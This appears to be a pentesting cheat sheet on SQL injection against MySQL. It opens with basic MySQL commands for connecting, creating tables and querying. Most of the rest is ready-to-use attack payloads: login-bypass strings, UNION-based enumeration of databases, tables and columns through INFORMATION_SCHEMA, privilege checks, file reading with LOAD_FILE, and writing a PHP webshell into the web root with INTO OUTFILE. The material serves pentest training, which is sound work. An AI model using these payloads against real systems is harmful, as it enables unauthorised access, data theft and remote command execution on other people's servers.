Cheatsheet — SQLi

Pentesting · Command reference

1. Connecting to the database

Command	What it does
`mysql -u <usuario>`	Authenticates to the local database (localhost) with a user, anonymously.
`mysql -u <usuario> -p`	Local authentication with the password entered interactively (recommended).
`mysql -u <usuario> -p<password>`	Local authentication with the password written in the shell (not recommended).
`mysql -u <usuario> -h <dominio/IP> -p`	Authenticates to the specified domain's database, with an interactive password.
`mysql -u <usuario> -h <dominio/IP> -P <puerto> -p`	Authenticates to the specified domain and port, with an interactive password.

2. Database management and creation

Command	What it does
`CREATE DATABASE <nombre>;`	Creates a database within MySQL.
`SHOW DATABASES;`	Shows the created databases (some exist by default).
`CREATE TABLE <nombre> (<características>);`	Creates a table with the specified columns and their properties.

Column properties

- Data type: INT (numeric), VARCHAR (text), DATETIME (time), among others.
- Column name: any name.
- NOT NULL: does not allow a missing value.
- AUTO_INCREMENT: increases the value automatically (by 1).
- UNIQUE: all values in the column are unique.
- DEFAULT: assigns a default value if none is provided.
- PRIMARY KEY: defines a column as the primary key.

Example (with properties):

```
CREATE TABLE usuarios (
    Id INT NOT NULL AUTO_INCREMENT,
    usuario VARCHAR(100) UNIQUE NOT NULL,
    contraseña VARCHAR(100) NOT NULL,
    fecha_llegada DATETIME DEFAULT NOW(),
    PRIMARY KEY (Id)
);
```

Command	What it does
`SHOW TABLES;`	Shows all tables in the database.
`DESCRIBE <tabla>;`	Shows the columns and their data type in each table.
`USE <base_de_datos>;`	Selects a particular database to use.

3. Selecting, inserting and deleting data

Command	What it does
`INSERT INTO <tabla> VALUES (col_1, col_2, col_n);`	Inserts the specified values into the columns (in the table's creation order).
`SELECT <columnas> FROM <tabla>;`	Selects certain columns from a table and shows their values.
`SELECT * FROM <tabla>;`	Selects all columns from the table and shows their values.
`DROP <tabla>;`	Deletes specific tables from the database.
`ALTER TABLE <tabla> ADD <columna> <tipo_dato>;`	Modifies a table by adding a column with its name and data type.
`ALTER TABLE <tabla> RENAME COLUMN <ant> TO <nue>;`	Modifies a table by renaming a column.
`ALTER TABLE <tabla> MODIFY <columna> <tipo_dato_nue>;`	Modifies a column's data type.
`ALTER TABLE <tabla> DROP <columna>;`	Modifies a table by deleting a column.
`UPDATE <tabla> SET <columna> = <valor> WHERE <condición>;`	Updates a column's value when the WHERE condition is met.
`SELECT * FROM <tabla> ORDER BY <columna>;`	Orders the results by a column, in ascending order.
`SELECT * FROM <tabla> ORDER BY <columna> DESC;`	Orders the results by a column, in descending order.
`SELECT * FROM <tabla> ORDER BY <col_1>, <col_n>;`	Orders by several columns, with priority according to the specified order.
`SELECT * FROM <tabla> LIMIT n;`	Limits the results to n rows.
`SELECT * FROM <tabla> LIMIT m,n;`	Limits to n rows starting from record m (index from 0).
`SELECT * FROM <tabla> WHERE <condición>;`	Selects the rows where the condition is met.
`SELECT * FROM <tabla> WHERE <columna> LIKE <formato>;`	Selects the rows where a column matches a particular format.

Condition operators

Format: column + operator + value.

- / * % : division, multiplication, modulo
- + - : addition, subtraction
- = > < <= >= != : comparisons
- ! : NOT && : AND || : OR

Precedence order: (1) / * % (2) + - (3) = > < >= <= != (4) ! (5) && (6) ||. For non-numeric columns, the comparison uses the ASCII value.

Examples:

- SELECT * FROM registros WHERE username != 'john'
- SELECT * FROM registros WHERE username != 'john' AND Id > 3

4. SQL injection (login bypass)

From here on, the dash – means “anything” (word or character). The assumed base query is:

```
SELECT * FROM <tabla> WHERE username = '<Input_1>' AND password = '<Input_2>';
```

TRUE = condition is true **FALSE** = condition is false

Bypass 1 — with a valid user

- Input_1 = usuario_valido' OR '1' = '1
- Input_2 = –

When? When you have a valid user on the system.

```
SELECT * FROM <tabla> WHERE username = 'usuario_valido' OR '1'='1'
AND password = '-';
```

Comparisons	
`username = 'usuario_valido'`	**TRUE**
`'1' = '1'`	**TRUE**
`password = '-'`	**FALSE**
AND	
`'1'='1'  AND  password='-'`	**FALSE**
OR	
`username='usuario_valido' (TRUE)  OR  FALSE`	**TRUE**

✓ ACCESS GRANTED (successful login)

Bypass 2 — without a valid user

- Input_1 = –' OR '1' = '1
- Input_2 = –' OR '1' = '1

When? When you have no valid users.

```
SELECT * FROM <tabla> WHERE username = '-' OR '1'='1'
AND password = '-' OR '1'='1';
```

Comparisons	
`username = '-'`	**FALSE**
`'1' = '1'`	**TRUE**
`password = '-'`	**FALSE**
`'1' = '1'`	**TRUE**
AND	
`'1'='1'  AND  password='-'`	**FALSE**
OR	
`FALSE  OR  FALSE  OR  '1'='1' (TRUE)`	**TRUE**

✓ ACCESS GRANTED (successful login)

Bypass 3 — comment (--)

- Input_1 = usuario_valido'-- -
- Input_2 = –

When? With a valid user and when the other forms are blocked. There is no boolean logic here: **--** turns everything that follows into a comment.

```
EXECUTED SELECT * FROM <tabla> WHERE username = 'usuario_valido'
IGNORED (comment) -- ' AND password = '-';
```

✓ ACCESS GRANTED (password check skipped)

Bypass 4 — closing parenthesis

- Input_1 = usuario_valido')-- -
- Input_2 = –

When? When the query has this particular form (parentheses and a hashed password), to skip the following conditions (such as the admin login filter). The parenthesis is closed and the rest is commented out.

```
EXECUTED SELECT * FROM <tabla> WHERE (username = 'usuario_valido')
IGNORED (comment) -- ' AND id > 1) AND password = '-(HASH)';
```

✓ ACCESS GRANTED (parenthesis closed, rest commented)

5. Using UNION

Conditions for UNION

Both queries must have the **same number of columns**.

Corresponding columns must have the **same data type**.

Command	What it does
`SELECT * FROM <t1> UNION SELECT * FROM <t2>;`	Combines the results of both tables, obtaining information from both.
`SELECT * FROM <t1> UNION SELECT <columna>,1,2,3 FROM <t2>;`	Combines tables with a different number of columns, padding the missing ones with numbers (of the same data type).

6. Number of columns in a table

Assuming a request like: `SELECT <column or *> FROM <table> WHERE <column> = <Input>`.

Input	Explanation
`' ORDER BY 1-- -`	Checks whether it can be ordered by the first column. Try n numbers until an error occurs: when it fails, the number of columns is n-1.
`<param_valido>' UNION SELECT 1,2,3-- -`	UNION only works with the same number of columns; add columns until a valid output is obtained.

7. Exploitation with UNION

Input	Explanation
`<param_valido>' UNION SELECT 1,@@version,3-- -`	Returns the database version.
`<param_valido>' UNION SELECT 1,database(),3-- -`	Returns the current database in use.
`<param_valido>' UNION SELECT 1,schema_name,3 FROM INFORMATION_SCHEMA.SCHEMATA-- -`	Returns the available databases (INFORMATION_SCHEMA's schemata table lists the databases in schema_name).
`<param_valido>' UNION SELECT 1,table_name,table_schema FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = <base_datos>-- -`	Returns the tables of a particular database.
`<param_valido>' UNION SELECT column_name,table_name,table_schema FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = <tabla>-- -`	Returns the columns of a table in a particular database.
`<param_valido>' UNION SELECT <col_1>,<col_2>,3 FROM <base_datos>.<tabla>-- -`	With all the information, reads data from another database in its table and columns.

8. Reading files

User privileges

Input	Explanation
`<param_valido>' UNION SELECT 1,user(),3-- -`	Returns the current user in use in the database.
`<param_valido>' UNION SELECT 1,super_priv,3 FROM mysql.user WHERE user="<usuario>"-- -`	Indicates whether the user has super privileges (file read/write). Returns Y (yes) or N (no).
`<param_valido>' UNION SELECT 1, grantee,privilege_type FROM INFORMATION_SCHEMA.user_privileges WHERE grantee="'<usuario>'@'localhost'"-- -`	Returns all the user's privileges (commands allowed in the database).

Note

The permission that enables file reading is **FILE**.

Reading with the FILE permission

Input	Explanation
`<param_valido>' UNION SELECT 1,LOAD_FILE("<archivo>"),3-- -`	Reads the given file on screen.
`<param_valido>' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"),3-- -`	Reads the base PHP code to see the original database query.

9. Writing files

Requirements

Have the **FILE** permission enabled.

Have the **secure_file_priv** variable disabled.

That the user has write permission on the target file (usually www-data, low-privileged, under /var/www/html).

Input	Explanation
`<param_valido>' UNION SELECT 1, variable_name,variable_value FROM INFORMATION_SCHEMA.global_variables WHERE variable_name="secure_file_priv"-- -`	Returns secure_file_priv's value: empty = read and write; NULL = neither; a directory = permission only in that directory.
`<param_valido>' UNION SELECT 1,"<valor>",3 INTO OUTFILE '<ruta>'-- -`	Writes text into a file at the specified path.
`<param_valido>' UNION SELECT 1, "<Webshell>",3 INTO OUTFILE '/var/www/html/shell.<ext>'`	Writes a webshell in the site root to run it remotely.

Note

The webshell may not always run (security controls on the extension or on executing system functions), but the file write should succeed if the requirements are met.

Common webshell:

```
<?php system($_REQUEST[0]); ?>
```